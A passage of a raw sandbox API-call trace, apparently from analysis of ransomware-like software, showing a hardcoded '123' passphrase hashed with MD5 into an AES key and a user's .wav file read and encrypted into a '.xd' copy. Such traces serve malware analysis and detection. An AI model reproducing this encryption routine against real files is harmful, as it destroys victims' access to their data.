lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.586] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.586] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.586] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.586] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.586] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.586] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.586] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.586] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.586] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.587] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.587] CryptCreateHash (in: hProv=0x17ab330, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.589] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.589] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.589] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.589] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629630, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.590] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.590] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.590] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621840, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.590] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.590] CryptHashData (hHash=0x164c2b0, pbData=0x16296e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.590] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.590] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.590] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.590] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.590] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.590] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.591] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.591] CryptDeriveKey (in: hProv=0x17ab330, Algid=0x6610, hBaseData=0x164c2b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c9b0) returned 1 [0064.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.591] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.591] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.591] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.591] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.591] CryptDestroyHash (hHash=0x164c2b0) returned 1 [0064.591] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.592] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\vjufoi.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.592] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.592] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.592] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.592] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz")) returned 0x10 [0064.594] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\vjufoi.wav.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.600] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.600] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xc9a5, lpOverlapped=0x0) returned 1 [0064.601] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.606] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.607] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.607] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.607] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.609] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.609] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.610] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.610] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.610] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.610] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.610] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.610] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.610] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.611] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.611] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.612] CryptGetKeyParam (in: hKey=0x164c9b0, dwParam=0x7, pbData=0x1629720, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629720*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.612] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.612] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.613] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.614] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.614] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.614] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.744] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.744] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 1 [0064.744] TranslateMessage (lpMsg=0x130e5bc) returned 0 [0064.744] DispatchMessageW (lpMsg=0x130e5bc) returned 0x0 [0064.744] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130dc20) returned 1 [0064.749] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0064.749] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0064.749] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.749] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.749] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.749] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.749] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.749] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.749] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.750] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.750] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.750] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.750] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.750] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.750] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.772] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621750, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.772] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.772] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xc9a5, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xc9b0) returned 1 [0064.772] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.773] CharLowerBuffW (in: lpsz="byte[51633]", cchLength=0xb | out: lpsz="byte[51633]") returned 0xb [0064.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.774] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.774] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.774] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.774] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.774] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.775] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xc9a5, dwBufLen=0xc9b0 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xc9b0) returned 1 [0064.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, 